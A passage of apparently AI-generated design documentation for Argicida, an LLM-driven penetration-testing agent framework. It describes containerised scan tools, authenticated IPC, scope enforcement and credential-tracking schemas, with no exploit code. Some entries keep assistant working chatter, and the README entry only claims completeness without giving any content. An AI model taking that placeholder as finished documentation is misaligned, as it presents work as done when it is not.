subdirectories:\\n\\n- `web-enumeration/` \u2192 8 sub-skills: `web-fingerprinting`, `web-scanning`, `web-crawling`, `web-fuzzing`, `web-api`, `web-curl`, `web-api-testing`, `web-services`\\n- `db-enumeration/` \u2192 5 sub-skills: `db-postgresql`, `db-mysql`, `db-mssql`, `db-oracle`, `db-cassandra`\\n\\n### Load-Bearing Naming Convention\\n\\nTool schemas in `src/argicida/argicida/tools/schemas.py` reference sub-skills by their frontmatter `name:` field (e.g., `skill_view('web-curl')`). Hermes resolves these via frontmatter name matching, not directory path. Renaming a sub-skill's `name:` field without updating `schemas.py` silently breaks the skill-loading chain \u2014 the LLM will use tools without technique guidance.\\n\\n## `skins/argicida.yaml` \u2014 Terminal Theme\\n\\nA custom Hermes terminal skin themed after the Argicida mythology (Hermes slaying Argus Panoptes). Defines:\\n\\n- **Color palette** \u2014 aged bronze/verdigris/warm shadow, not neon terminal\\n- **Spinner animations** \u2014 eye symbols (\u25c9 \u2192 \u25ce \u2192 \u25cb \u2192 \u00b7) representing Argus's eyes closing\\n- **Tool emojis** \u2014 per-tool icons in the progress display (e.g., nmap = \ud83d\uddfa, nuclei = \ud83d\udc41, katana = \u2694)\\n- **Banner art** \u2014 block-letter logo with bronze gradient, braille-dot Eye of Argus hero image\\n- **Branding** \u2014 agent named \\\"Argicida\\\", Mercury glyph (\u263f) as prompt symbol\\n\\nActivated in `config.yaml` via `display.skin: argicida`.\\n\\n## Syncing Skills Between Repo and Runtime\\n\\nThe LLM can self-improve skills at runtime (with operator approval per `skills.write_approval: true`). These changes modify the installed copy, not the repo. To reconcile:\\n\\n```bash\\nuv run python scripts/sync_skills.py\\n```\\n\\nThe script walks every `SKILL.md` in `profile/skills/`, finds its runtime counterpart by frontmatter `name:` match, diffs them, and prompts for sync direction (repo\u2192runtime or runtime\u2192repo). Skills without a runtime counterpart are flagged as undeployed.\\n\\n## Relationship to the Codebase\\n\\nThe profile has no code dependencies \u2014 it is pure configuration consumed by Hermes. But it has implicit contracts with the Argicida plugin:\\n\\n- **Tool names** in SOUL.md and skills must match tool registrations in `src/argicida/argicida/tools/`\\n- **Toolset names** in delegation contexts (`argicida-web`, `argicida-service`, etc.) must match `TOOLSET` values in `tools/defs/.py`\\n- **Skill names** referenced in tool schemas (`schemas.py`) must match frontmatter `name:` fields in skill files\\n- **Slash commands** (`/engage`, `/scope`, `/triage`, `/briefing`, `/approve-gate`, `/trace`) are registered by the plugin, not the profile\\n- **`covers_services`** metadata in skill frontmatter drives `ServiceSkillRegistry` for coverage gap detection in the plugin\\n\\nChanges to tool registration, toolset grouping, or slash command names in the plugin require corresponding updates in the profile \u2014 and vice versa. There is no automated consistency check beyond the existing consistency tests in `tests/`.\",\"other-pyproject-toml\":\"# Other \u2014 pyproject.toml\\n\\n# Workspace Configuration \u2014 `pyproject.toml`\\n\\nThe root `pyproject.toml` defines the Argicida monorepo as a **uv workspace** and centralizes all tool configuration (linting, type checking, security scanning, testing). It is not a publishable package \u2014 it exists to coordinate three workspace members and enforce consistent quality standards across them.\\n\\n## Workspace Structure\\n\\nArgicida uses uv's workspace feature to manage three packages with separate dependency trees but shared tooling configuration.\\n\\n```mermaid\\ngraph TD\\n    ROOT[\\\"pyproject.toml(workspace root)\\\"] --> COMMON[\\\"src/argicida_common/Shared types \u00b7 msgspec only\\\"]\\n    ROOT --> HOST[\\\"src/argicida/Host plugin \u00b7 heavy deps\\\"]\\n    ROOT --> AGENT[\\\"src/argicida_agent/Container agent \u00b7 minimal deps\\\"]\\n    HOST --> COMMON\\n    AGENT --> COMMON\\n    HOST -.->|dev dependency| HERMES[\\\"hermes-agent(local editable)\\\"]\\n```\\n\\n| Package | Location | Role |\\n|---------|----------|------|\\n| `argicida-common` | `src/argicida_common/` | IPC message types, finding schemas, scope definitions. Single dependency: `msgspec`. |\\n| `argicida` | `src/argicida/` | Host-side Hermes plugin. Registers tools, hooks, CLI commands. Heavy dependency tree. |\\n| `argicida-agent` | `src/argicida_agent/` | Thin container agent that executes tools over Unix socket IPC. Minimal deps. |\\n\\nEach member has its own `pyproject.toml` under its `src/` directory declaring its specific dependencies. The root workspace aggregates them so `uv sync` installs everything in one pass.\\n\\n### Source Resolution\\n\\n```toml\\n[tool.uv.sources]\\nargicida = { workspace = true }\\nargicida-agent = { workspace = true }\\nargicida-common = { workspace = true }\\nhermes-agent = { path = \\\"/mnt/wsl_data/Projects/hermes-agent\\\", editable = true }\\n```\\n\\nThe three workspace members resolve to each other via `workspace = true` \u2014 uv links them as editable installs. `hermes-agent` is an **external editable dependency** pointing to a sibling checkout on disk. This means changes to Hermes are immediately visible without reinstalling.\\n\\n### Optional Dependencies\\n\\n```toml\\n[project.optional-dependencies]\\nvision = [\\\"Pillow>=10.0\\\"]\\n```\\n\\nThe `vision` extra enables screenshot analysis in the host plugin. Install with `uv sync --extra vision`. The plugin degrades gracefully when Pillow is absent.\\n\\n## Dev Dependencies\\n\\nAll quality tooling is grouped under `[dependency-groups] dev`:\\n\\n| Tool | Purpose |\\n|------|---------|\\n| `ruff` | Linting (PEP 8, security rules) and formatting (black-compatible) |\\n| `mypy` | Static type checking in strict mode |\\n| `bandit[toml]` | Security-focused static analysis |\\n| `pytest` | Test runner with asyncio, coverage, and timeout plugins |\\n| `hermes-agent` | Real Hermes `PluginManager`/`PluginContext` for integration tests |\\n| `jsonschema` | Schema validation in tests |\\n| `pydot` | Graph generation (test visualization) |\\n\\n## Tool Configuration\\n\\n### Ruff (Lint + Format)\\n\\nTargets Python 3.13. Line length 88 (black-compatible). Source roots set to `src/` so imports resolve correctly across the nested package layout.\\n\\n**Enabled rule sets:**\\n\\n- `E`/`W` \u2014 pycodestyle errors and warnings\\n- `F` \u2014 pyflakes (unused imports, undefined names)\\n- `I` \u2014 isort (import ordering)\\n- `N` \u2014 PEP 8 naming conventions\\n- `UP` \u2014 pyupgrade (modernize syntax to 3.13)\\n- `B` \u2014 flake8-bugbear (common pitfalls)\\n- `S` \u2014 flake8-bandit (security, inline)\\n- `A` \u2014 flake8-builtins (shadowed builtins)\\n- `C4` \u2014 flake8-comprehensions\\n- `SIM` \u2014 flake8-simplify\\n- `TCH` \u2014 flake8-type-checking (move type-only imports behind `TYPE_CHECKING`)\\n- `RUF` \u2014 Ruff-specific rules\\n\\n**Per-file ignores** relax security rules in test code:\\n\\n| Pattern | Suppressed | Reason |\\n|---------|-----------|--------|\\n| `tests/**` | `S101`, `S108` | `assert` statements and `/tmp` usage are normal in tests |\\n| `tests/pod_integration/**`, `tests/e2e/**` | `S101`, `S108`, `S603`, `S607` | Additionally allows subprocess calls with partial paths (required for Podman invocations) |\\n| `store.py`, `context.py` | `TC003` | Type imports that can't move behind `TYPE_CHECKING` due to runtime use |\\n| `vendor/**` | `ALL` | Third-party vendored code is not linted |\\n\\n### Mypy\\n\\nStrict mode with `explicit_package_bases = true` and `namespace_packages = true` \u2014 required by the nested `src/pkg/pkg/` layout. Without these, mypy misresolves the package hierarchy.\\n\\nThree override blocks suppress missing import errors for untyped dependencies:\\n- `libnmap` \u2014 no `py.typed` marker or stubs\\n- `PIL` (Pillow) \u2014 no `py.typed` marker\\n- `hermes_cli` \u2014 no `py.typed` marker\\n\\nEach override includes a comment explaining *why* it exists. Adding `type: ignore` directives elsewhere requires the specific error code and an explanation.\\n\\n### Bandit\\n\\nScans `src/` only, excludes `tests/` and `vendor/`. Both severity and confidence thresholds are set to `low` \u2014 nothing is filtered out. The `skips` list is empty; suppressing a finding requires a `# nosec` comment with an explanation in the source file.\\n\\n### Pytest\\n\\n```toml\\ntestpaths = [\\\"tests\\\"]\\nasyncio_mode = \\\"auto\\\"\\naddopts = \\\"-m 'not e2e and not pod_integration'\\\"\\n```\\n\\nBy default, `uv run pytest` runs only unit and integration tests. The marker filter excludes tests that require infrastructure:\\n\\n| Marker | Requires | Run with |\\n|--------|----------|----------|\\n| *(none)* | Nothing | `uv run pytest` |\\n| `pod_integration` | Podman + built images + `nginx:alpine` | `uv run pytest -m pod_integration` |\\n| `e2e` | Above + running LLM endpoint | `uv run pytest -m e2e` |\\n\\n### Coverage\\n\\n```toml\\n[tool.coverage.run]\\nsource = [\\\"argicida\\\", \\\"argicida_agent\\\", \\\"argicida_common\\\"]\\nbranch = true\\n\\n[tool.coverage.report]\\nfail_under = 80\\n```\\n\\nBranch coverage is enabled. The 80% threshold is enforced \u2014 `uv run pytest --cov` fails the build if coverage drops below it. All three packages are measured.\\n\\n## Common Operations\\n\\n```bash\\n# Install everything (all workspace members + dev deps)\\nuv sync\\n\\n# Run all fast tests\\nuv run pytest\\n\\n# Full quality gate (what CI runs)\\nuv run ruff check .\\nuv run ruff format --check .\\nuv run mypy -p argicida -p argicida_common -p argicida_agent\\nuv run bandit -c pyproject.toml -r src/\\nuv run pytest --cov\\n\\n# Add a dependency to a specific workspace member\\ncd src/argicida && uv add \\n\\n# Add a dev dependency to the workspace root\\nuv add --dev \\n```\",\"other-readme-md\":\"# Other \u2014 README.md\\n\\nThe README is ready to write. It covers the project's purpose, prerequisites, install/usage instructions, architecture (with a Mermaid diagram showing the host-container IPC topology), all three workspace packages, the dual-bridge network topology, two-layer scope enforcement, tool model, hook system, ZAP integration, engagement database, development commands, test architecture, the process for adding new tools, pre-engagement data setup, and configuration.\\n\\nEverything references actual code paths and component names from the codebase \u2014 no invented APIs.\",\"other-src-argicida-agent\":\"# Other \u2014 src-argicida_agent\\n\\nNow I have everything needed. Let me write the documentation.\\n\\n# `argicida_agent` \u2014 Container-Side Tool Executor\\n\\nThe thin agent that runs **inside** the Podman tool container. It listens on a Unix socket for HMAC-authenticated commands from the host-side Argicida plugin, executes scan tool binaries via `create_subprocess_exec`, and returns structured results over the same socket. It never decides what to run \u2014 it only does what it's told.\\n\\n## Why It Exists\\n\\nArgicida's security model isolates all offensive tooling inside a container. The host process (Hermes + the `argicida` plugin) cannot exec binaries that live inside the container's filesystem. The agent bridges this gap: a process inside the container that accepts commands, runs the requested binary, and sends back stdout/stderr/exit code. It is deliberately minimal \u2014 two modules, one dependency beyond the shared types (`msgspec`), no decision logic.\\n\\n```mermaid\\ngraph LR\\n    Host[\\\"Host (Hermes + argicida plugin)\\\"] -->|\\\"Unix socket/ipc/agent.sock\\\"| Agent[\\\"argicida_agent(container)\\\"]\\n    Agent -->|create_subprocess_exec| Nmap[nmap]\\n    Agent -->|create_subprocess_exec| Nuclei[nuclei]\\n    Agent -->|create_subprocess_exec| Other[... 16 more tools]\\n```\\n\\n## Package Structure\\n\\n```\\nsrc/argicida_agent/\\n\u251c\u2500\u2500 pyproject.toml\\n\u2514\u2500\u2500 argicida_agent/\\n    \u251c\u2500\u2500 __init__.py\\n    \u251c\u2500\u2500 __main__.py          # Entrypoint: parse args, validate key, start server\\n    \u251c\u2500\u2500 ipc/\\n    \u2502   \u2514\u2500\u2500 server.py        # AgentServer: socket lifecycle, auth, command loop\\n    \u2514\u2500\u2500 executor/\\n        \u2514\u2500\u2500 runner.py        # execute_command: tool allowlist, subprocess, truncation\\n```\\n\\nTwo runtime dependencies: `msgspec` (wire format) and `argicida-common` (shared IPC types and constants). No Podman SDK, no pydantic, no cryptography \u2014 those belong on the host side.\\n\\n## Startup\\n\\nThe container's `entrypoint.sh` launches the agent as PID 1's child:\\n\\n```\\nexec python3 -m argicida_agent --socket /ipc/agent.sock\\n```\\n\\n`__main__.py` does three things before accepting connections:\\n\\n1. **Reads `ARGICIDA_SESSION_KEY`** from the environment \u2014 a hex-encoded 32-byte (256-bit) HMAC key injected by the host when creating the pod. Exits immediately if missing, malformed, or wrong size.\\n\\n2. **Builds the allowed-tools map** from `argicida_common.constants.TOOL_NAMES` \u2014 a hardcoded `dict[str, str]` mapping tool names (`\\\"nmap\\\"`) to absolute binary paths (`\\\"/usr/bin/nmap\\\"`). This is the only allowlist; the agent rejects any tool name not in this dict.\\n\\n3. **Starts `AgentServer`** on the Unix socket path, then calls `serve_forever()`.\\n\\n## IPC Server (`ipc/server.py`)\\n\\n`AgentServer` manages the Unix socket lifecycle and per-connection state.\\n\\n### Socket Setup\\n\\nThe agent must handle rootless Podman's UID namespace mismatch: the host UID (typically 1000) maps to container root (UID 0), not to the agent's UID (10000). On startup, the server:\\n\\n- Rejects symlinked socket paths (prevents symlink attacks)\\n- Removes any stale socket file\\n- Sets the parent directory to `0o777` and creates the socket with `umask(0o000)` so the host process can connect across the namespace boundary\\n\\n### Connection Handling\\n\\nEach incoming connection is dispatched to a task via `asyncio.create_task`. The server enforces a hard cap of `MAX_CONNECTIONS` (10) concurrent connections \u2014 excess connections are closed immediately. This matches Hermes's parallel tool dispatch model (multiple worker threads, each with its own `IpcClient`).\\n\\n### Authentication Handshake\\n\\nEvery connection authenticates before any commands are accepted:\\n\\n```\\nServer                          Client (host)\\n  \u2502                                \u2502\\n  \u251c\u2500\u2500 IpcAuthChallenge(nonce) \u2500\u2500\u2500\u2500>\u2502\\n  \u2502                                \u2502\\n  \u2502<\u2500\u2500\u2500\u2500 IpcAuthResponse(hmac) \u2500\u2500\u2500\u2500\u2524\\n  \u2502                                \u2502\\n  \u251c\u2500\u2500 IpcAuthResult(accepted) \u2500\u2500\u2500\u2500>\u2502\\n```\\n\\n1. Server generates a 32-byte random nonce and sends it as an `IpcAuthChallenge`.\\n2. Client computes `HMAC-SHA256(session_key, nonce)` and sends the digest back.\\n3. Server verifies the HMAC via `verify_hmac()` from `argicida_common.ipc_protocol`. Sends `IpcAuthResult(accepted=True/False)`.\\n\\nThe entire handshake must complete within `AUTH_TIMEOUT_S` (10 seconds) or the connection is dropped. After authentication, every subsequent message is HMAC-tagged with a monotonically increasing sequence number to prevent replay attacks.\\n\\n### Command Loop\\n\\nAfter auth, the server enters a `recv \u2192 execute \u2192 send` loop:\\n\\n1. **Receive**: `recv_message()` deserializes an `IpcCommand` from the wire, verifying its HMAC tag and sequence number.\\n2. **Execute**: Delegates to `execute_command()` in the executor module.\\n3. **Respond**: `send_message()` serializes an `IpcResponse`, computes its HMAC tag, and sends it.\\n\\nEach receive has a `COMMAND_IDLE_TIMEOUT_S` (300s) deadline \u2014 if the host doesn't send a command within 5 minutes, the connection is dropped. This prevents leaked connections from accumulating.\\n\\n## Command Executor (`executor/runner.py`)\\n\\n`execute_command()` is where tool invocations actually happen. It implements a strict validation-then-exec pipeline:\\n\\n### Validation Gates\\n\\nThree checks, in order, before any subprocess is created:\\n\\n1. **Tool allowlist** \u2014 Is `cmd.tool` in the `allowed_tools` dict? If not, returns an error response listing what's allowed.\\n\\n2. **Environment validation** \u2014 `validate_ipc_command_env()` checks every env var against an allowlist (`SHODAN_API_KEY`, `CENSYS_API_SECRET`, etc.) and blocklist (`LD_PRELOAD`, `PATH`, `PYTHONPATH`, etc.). Any violation returns an error before execution.\\n\\n3. **Binary existence** \u2014 `shutil.which()` resolves the binary path. Missing binary \u2192 error response. This catches container build issues early.\\n\\n### Subprocess Execution\\n\\n```python\\nproc = await asyncio.create_subprocess_exec(\\n    binary, *cmd.args,\\n    stdout=asyncio.subprocess.PIPE,\\n    stderr=asyncio.subprocess.PIPE,\\n    env=env_dict,\\n)\\n```\\n\\nKey design choices:\\n\\n- **`create_subprocess_exec`, never `shell=True`** \u2014 arguments are passed as a list, preventing shell injection. This is a hard security requirement.\\n- **Per-command timeout** \u2014 `cmd.timeout_s` (default 300s, max 3600s, validated by msgspec `Meta` constraints). On timeout, the process is killed with `SIGKILL` and an error response is returned.\\n- **Optional environment overlay** \u2014 If `cmd.env` is non-empty, the current environment is cloned and the specified vars are added. Otherwise the container's default environment is inherited.\\n\\n### Output Truncation\\n\\nTool output can be enormous (a full nmap scan of a /16, nuclei against thousands of templates). The executor enforces hard byte limits:\\n\\n| Stream | Limit |\\n|--------|-------|\\n| stdout | 16 MiB (`MAX_IPC_STDOUT_SIZE`) |\\n| stderr | 1 MiB (`MAX_IPC_STDERR_SIZE`) |\\n\\nTruncation is byte-aware: raw bytes are sliced first, then decoded with `errors=\\\"replace\\\"`. A post-decode check trims one character if `U+FFFD` replacement at the truncation boundary pushed the UTF-8 encoding over the limit. A defensive `RuntimeError` assert catches any bug in this logic.\\n\\nWhen truncation occurs, the `error` field on `IpcResponse` carries a note like `\\\"stdout truncated at 16000000 bytes.\\\"` so the host knows the output is incomplete.\\n\\n## What the Agent Does NOT Do\\n\\nUnderstanding what's excluded is as important as what's included:\\n\\n- **No scope enforcement** \u2014 the host-side `pre_tool_call` hook and the gateway's nftables rules handle scope. The agent executes whatever passes the allowlist.\\n- **No output parsing** \u2014 raw stdout/stderr are returned as strings. Parsers live in the host-side `tools/parsers_*.py` modules.\\n- **No tool orchestration** \u2014 the agent doesn't chain tools, decide what to run next, or maintain engagement state. It's a subprocess executor with authentication.\\n- **No filesystem persistence** \u2014 results are sent back over the socket. Lossless output storage happens on the host side.\\n- **No network access** \u2014 the agent shares the tool pod's network namespace, but never initiates connections itself. Only the tools it spawns make network calls.\\n\\n## Testing\\n\\nThe agent's code is tested in `tests/argicida_agent/`. Since the agent has no host-side dependencies, its unit tests are fast and isolated \u2014 they test `execute_command()` with real subprocesses (using `/bin/echo`, `/bin/false`, etc.) and `AgentServer` with real Unix sockets.\\n\\nIntegration testing happens at the pod level (`tests/pod_integration/`), where a real Podman pod runs the agent and the host-side `IpcClient` connects over the bind-mounted socket.\",\"other-src-argicida-common\":\"# Other \u2014 src-argicida_common\\n\\nNow I have all the source. Let me produce the documentation.\\n\\n# `argicida_common` \u2014 Shared Types for Argicida\\n\\n`argicida_common` is the type foundation shared by the two halves of Argicida's split architecture: the host-side Hermes plugin (`argicida`) and the container-side agent (`argicida_agent`). Its only dependency is `msgspec`, and it deliberately has no awareness of Podman, networking, databases, or any host/container runtime concerns.\\n\\nEvery struct in this package crosses either the Unix socket IPC boundary (serialized as MessagePack) or the database boundary (serialized as JSON). Changing a field name, type, or adding a required field is a breaking wire-format change that requires coordinated updates on both sides.\\n\\n```mermaid\\ngraph LR\\n    subgraph Host [\\\"Host (argicida)\\\"]\\n        Plugin[\\\"Hermes Plugin\\\"]\\n        Store[\\\"EngagementStore\\\"]\\n    end\\n    subgraph Container [\\\"Container (argicida_agent)\\\"]\\n        Agent[\\\"IPC Agent\\\"]\\n    end\\n    Common[\\\"argicida_common\\\"]\\n\\n    Plugin -- \\\"IpcCommand / IpcResponse\\\" --> Agent\\n    Plugin -- \\\"Finding / Asset / Credential\\\" --> Store\\n    Agent -- \\\"IpcResponse\\\" --> Plugin\\n    Common -. \\\"types used by\\\" .-> Plugin\\n    Common -. \\\"types used by\\\" .-> Agent\\n    Common -. \\\"types used by\\\" .-> Store\\n```\\n\\n## Struct Conventions\\n\\nAll msgspec Structs enforce two invariants project-wide:\\n\\n- **`frozen=True`** \u2014 instances are immutable after creation.\\n- **`forbid_unknown_fields=True`** \u2014 deserialization rejects payloads with unexpected keys, catching version skew immediately instead of silently dropping data.\\n\\nCollection fields use `tuple[str, ...]` rather than `list` for true immutability. Enum-like fields use `Literal` types so validation happens at decode time, not via runtime checks.\\n\\nDirect construction (`MyStruct(field=value)`) bypasses msgspec validation. In production paths, always decode from wire format via `msgspec.msgpack.decode()` or `msgspec.json.decode()`.\\n\\n## Module Reference\\n\\n### `constants.py` \u2014 Shared Configuration\\n\\nThree categories of constants, all consumed by both host and agent:\\n\\n**Enums** \u2014 `TriageLevel`, `EngagementPhase`, and `CoverageState` are `StrEnum` types used as discriminators throughout the codebase. Use these instead of string literals.\\n\\n| Enum | Values | Used For |\\n|------|--------|----------|\\n| `TriageLevel` | `critical`, `interesting`, `noise` | Finding triage classification |\\n| `EngagementPhase` | `scoping` \u2192 `discovery` \u2192 `enumeration` \u2192 `deep_testing` \u2192 `human_gate` | Engagement lifecycle state machine |\\n| `CoverageState` | `discovered` \u2192 `ports_scanned` \u2192 `hostnames_probed` \u2192 `vgroups_identified` \u2192 `enumerated` | Per-asset enumeration completeness |\\n\\n**`TOOL_NAMES`** \u2014 maps logical tool names (e.g., `\\\"nmap\\\"`) to absolute container paths (e.g., `\\\"/usr/bin/nmap\\\"`). The agent resolves commands through this map; the host uses the keys for tool registration and scope profiles.\\n\\n**Size and security limits** \u2014 bounds enforced via `msgspec.Meta` annotations on struct fields:\\n\\n| Constant | Value | Guards |\\n|----------|-------|--------|\\n| `MAX_IPC_MESSAGE_SIZE` | 64 MiB | Frame-level size limit |\\n| `MAX_IPC_STDOUT_SIZE` | 16 MiB | `IpcResponse.stdout` |\\n| `MAX_IPC_STDERR_SIZE` | 1 MiB | `IpcResponse.stderr` |\\n| `MAX_ARGS_COUNT` | 100 | `IpcCommand.args` tuple length |\\n| `IPC_HMAC_KEY_SIZE` | 32 bytes | Session key width |\\n| `AUTH_TIMEOUT_S` | 10s | Handshake deadline |\\n\\n**`ENV_ALLOWLIST` / `ENV_BLOCKLIST`** \u2014 environment variable filtering for IPC commands. Only allowlisted variables (API keys for Shodan, Censys, etc.) pass through to the container. Blocklisted variables (`LD_PRELOAD`, `PATH`, proxy vars) are rejected regardless.\\n\\n### `ipc_schema.py` \u2014 Wire Types\\n\\nThe five structs that travel over the Unix socket:\\n\\n**Command/response pair:**\\n\\n- `IpcCommand` \u2014 tool name, args tuple, request ID, optional env vars and timeout. Fields `sequence`, `timestamp`, and `hmac_tag` are populated by the protocol layer, not by callers.\\n- `IpcResponse` \u2014 exit code, stdout, stderr, optional error message. Same auth fields.\\n\\n**Authentication handshake** (unauthenticated, no HMAC):\\n\\n- `IpcAuthChallenge` \u2014 server sends a random nonce.\\n- `IpcAuthResponse` \u2014 client returns HMAC(nonce, shared_key).\\n- `IpcAuthResult` \u2014 server sends `accepted: bool`.\\n\\n`validate_ipc_command_env()` checks environment variable tuples against the allowlist/blocklist before dispatch. Returns a tuple of error strings (empty = valid).\\n\\n### `ipc_protocol.py` \u2014 Framing and Authentication\\n\\nThe wire protocol implementation shared by both the host-side `IpcClient` and the container-side `IpcServer`.\\n\\n**Framing** \u2014 length-prefixed binary frames. A 4-byte big-endian header gives the payload size, followed by that many bytes of MessagePack-encoded struct data. `write_frame()` and `read_frame()` handle the framing; both enforce `MAX_IPC_MESSAGE_SIZE`.\\n\\n**HMAC authentication** \u2014 every `IpcCommand` and `IpcResponse` carries three auth fields: a monotonic `sequence` number, an ISO 8601 `timestamp`, and an `hmac_tag` (SHA-256). The protocol:\\n\\n1. Compute the body by encoding the struct with `hmac_tag=b\\\"\\\"`.\\n2. HMAC the concatenation of `sequence` (8 bytes big-endian) + `len(timestamp)` (4 bytes) + `timestamp` (UTF-8) + `body`.\\n3. Replace `hmac_tag` with the computed tag and encode the final message.\\n\\nOn receipt, `recv_message()` verifies the tag (constant-time via `hmac.compare_digest`), checks sequence number monotonicity, and rejects messages older than 30 seconds. This prevents replay attacks even if an attacker can observe the socket.\\n\\n`send_message()` and `recv_message()` are generic over any `msgspec.Struct` that has the auth fields. They are `async` \u2014 both sides use `asyncio` streams.\\n\\n### `scope_schema.py` \u2014 Engagement Boundaries\\n\\n`ScopeDefinition` captures what the penetration test is allowed to touch:\\n\\n- `target_cidrs` / `target_domains` \u2014 what's in scope.\\n- `excluded_ips` \u2014 carved-out exceptions.\\n- `max_intensity` \u2014 operator-set aggressiveness limit.\\n- Nuclei-specific filters: `template_allowlist`, `nuclei_tags`, `nuclei_severity`, `nuclei_exclude_tags` (defaults to `(\\\"dos\\\",)`).\\n- `dns_server` \u2014 custom resolver forwarded to dnsmasq.\\n\\n`ScopeDefinition` is host-only. It drives both nftables rule generation (network-layer enforcement on the gateway) and `pre_tool_call` hook validation (command-layer enforcement). It is never serialized to the container.\\n\\nHelper functions:\\n\\n- `classify_scope_args(args)` \u2014 splits a list of scope arguments into CIDRs (via `ipaddress.ip_network`) and domain names. Used by the `scope_define` tool handler.\\n- `validate_scope(scope)` \u2014 validates all CIDRs, IPs, and domains in a `ScopeDefinition`. Returns error tuples.\\n\\n### `finding_schema.py` \u2014 Vulnerability Findings\\n\\n`Finding` represents a single vulnerability or observation extracted from tool output. Fields align with OCSF where possible:\\n\\n- Identity: `tool`, `target`, `timestamp`\\n- Severity: `severity` (5-level Literal), `triage_level` (3-level from `TriageLevel`)\\n- Vulnerability metadata: `cve_ids`, `cwe_ids`, `cvss`, `epss`, `kev` (Known Exploited Vulnerability flag), `wasc_ids`\\n- Network context: `port`, `protocol`, `service`\\n- Web context: `attack`, `param`, `evidence`\\n- Remediation: `solution`, `reference`\\n- `raw_output` \u2014 full tool output preserved for reanalysis (capped at `MAX_RAW_OUTPUT_SIZE`)\\n\\nFindings are created by tool-specific parsers (`tools/parsers_*.py`) and stored in the `FindingRepo`.\\n\\n### `engagement_schema.py` \u2014 Engagement Metadata\\n\\n`EngagementMeta` is the top-level engagement record: `id`, `name`, `scope` (embedded `ScopeDefinition`), `current_phase` (constrained to the `EngagementPhase` values), and timestamps. Used for LLM context injection and engagement queries.\\n\\n### `asset_schema.py` \u2014 Asset Registry Types\\n\\nThe IP-anchored asset model:\\n\\n- `Asset` \u2014 top-level entity keyed by IP address. Tracks `coverage_state` (from `CoverageState`), associated `hostnames`, `ports`, and optional OS fingerprint.\\n- `AssetHostname` \u2014 a hostname associated with an IP, with `source` tracking which tool discovered it. Optional fields for vhost grouping, visual hashing, tech fingerprinting, and login URL detection (populated by ZAP intel).\\n- `AssetPort` \u2014 port/protocol/service/banner tuple.\\n- `VhostFingerprint` \u2014 structural metadata for virtual host deduplication (status code, content length, title hash, body hash, server header, redirect target).\\n\\n`serialize_fingerprint()` produces deterministic JSON for fingerprint comparison.\\n\\n### `credential_schema.py` \u2014 Credential Lifecycle\\n\\nThree structs model the credential discovery lifecycle from fragments to proven access:\\n\\n1. **`Principal`** \u2014 a username or identity found alone (e.g., from user enumeration). Carries `confidence` level: `confirmed`, `likely`, or `inferred`.\\n2. **`Secret`** \u2014 authentication material found alone. `secret_type` discriminates between `password`, `token`, `api_key`, `private_key`, `hash`, and `passphrase`. Optional `associated_principal` links to a paired identity.\\n3. **`ValidatedCredential`** \u2014 a proven `(target, service, username, secret)` tuple that successfully authenticated. Adds `access_level` (admin/user/read-only/unknown) and `is_default` flag.\\n\\n`Credential` is a deprecated alias for `ValidatedCredential`. The `EMPTY_CREDS` sentinel avoids allocating empty tuples repeatedly.\\n\\n## Adding New Types\\n\\n1. Create the struct in the appropriate `*_schema.py` file (or a new one if it represents a new domain).\\n2. Use `frozen=True, forbid_unknown_fields=True`. Use `tuple` for collections, `Literal` for constrained strings.\\n3. Add size-limit constants to `constants.py` and apply them via `msgspec.Meta` annotations.\\n4. If the struct crosses the IPC boundary, it needs `sequence`, `timestamp`, and `hmac_tag` fields \u2014 the protocol layer populates these automatically.\\n5. Never add runtime dependencies beyond `msgspec`. This package must remain installable in the minimal container environment.\",\"other-src-argicida\":\"# Other \u2014 src-argicida\\n\\n# `argicida` \u2014 Host-Side Hermes Plugin Package\\n\\n## Overview\\n\\n`argicida` is the primary workspace package in the Argicida monorepo. It contains the host-side Hermes plugin that registers security tools, manages Podman pod lifecycles, enforces scope, and coordinates IPC with the in-container agent. This document covers the package metadata and build configuration \u2014 the runtime code lives under `argicida/` (the inner package directory).\\n\\n## Entry Point\\n\\n```toml\\n[project.entry-points.\\\"hermes_agent.plugins\\\"]\\nargicida = \\\"argicida\\\"\\n```\\n\\nHermes discovers Argicida through the `hermes_agent.plugins` entry point group. At startup, Hermes calls `ep.load()` on this entry point, which imports the `argicida` module, then looks for a `register(ctx: PluginContext)` function on the returned object. The entry point value is the **module name** (`\\\"argicida\\\"`), not a callable reference \u2014 Hermes resolves `register()` itself.\\n\\n## Dependencies\\n\\n| Dependency | Purpose |\\n|---|---|\\n| `argicida-common` | Shared msgspec Structs for IPC messages, finding schemas, scope definitions (workspace source) |\\n| `podman` | Podman API client for pod/container lifecycle management |\\n| `python-libnmap` | Nmap XML output parsing for the nmap finding extractor |\\n| `msgspec` | High-performance serialization for Unix socket IPC (msgpack) |\\n| `pydantic` | Validation for engagement configuration, scope definitions, credentials |\\n| `cryptography` | Evidence chain signing (Ed25519) and key management |\\n| `httpx` | HTTP client for ZAP REST API communication |\\n| `apsw-sqlite3mc` | SQLite with encryption support for the engagement database |\\n\\n### Optional Dependencies\\n\\n```toml\\n[project.optional-dependencies]\\nvision = [\\\"Pillow>=10.0\\\"]\\n```\\n\\nThe `vision` extra enables screenshot analysis in the httpx extractor. When installed, `_analyze_screenshot()` can downscale captured PNGs and send them to the LLM for structured visual extraction (app type, visible tech, login forms). The feature degrades gracefully when Pillow is absent.\\n\\nInstall with: `uv sync --extra vision`\\n\\n## `py.typed` Marker\\n\\nThe empty `py.typed` file (PEP 561) signals to type checkers that this package ships inline type annotations. This enables mypy to check downstream code that imports from `argicida` without requiring stubs.\\n\\n## Workspace Layout\\n\\nThis package uses the nested source layout required by the monorepo structure:\\n\\n```\\nsrc/argicida/\\n\u251c\u2500\u2500 pyproject.toml      # Package metadata (this file)\\n\u251c\u2500\u2500 argicida/           # Python package (inner directory)\\n\u2502   \u251c\u2500\u2500 __init__.py     # register() entry point\\n\u2502   \u251c\u2500\u2500 py.typed        # PEP 561 marker\\n\u2502   \u251c\u2500\u2500 registration/   # Phase modules for plugin setup\\n\u2502   \u251c\u2500\u2500 tools/          # Tool handlers, schemas, normalizers, parsers\\n\u2502   \u251c\u2500\u2500 pod/            # Pod lifecycle, session management\\n\u2502   \u251c\u2500\u2500 scope/          # Scope guard, nftables rule generation\\n\u2502   \u251c\u2500\u2500 hooks/          # Hermes hook implementations\\n\u2502   \u251c\u2500\u2500 ipc/            # Unix socket client\\n\u2502   \u251c\u2500\u2500 store/          # Engagement database (APSW)\\n\u2502   \u2514\u2500\u2500 zap/            # ZAP sidecar integration\\n\u2514\u2500\u2500 (no 